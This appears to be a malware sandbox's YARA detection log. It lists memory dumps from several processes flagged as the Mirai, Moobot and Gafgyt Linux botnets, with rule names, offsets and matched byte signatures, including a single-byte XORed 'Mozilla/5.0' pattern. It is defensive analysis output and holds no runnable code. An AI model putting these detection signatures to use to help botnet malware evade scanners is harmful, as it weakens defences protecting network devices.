2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6971.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6687.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7023.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6695.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6312.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6824.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6824.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6824.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6824.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6824.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6824.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7119.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7119.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7119.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7119.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7119.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7119.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6347.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6347.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6347.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6347.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6347.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6347.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6573.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6573.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6573.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6573.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6573.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6573.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7079.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7068.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7068.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7068.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7068.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7068.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7068.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
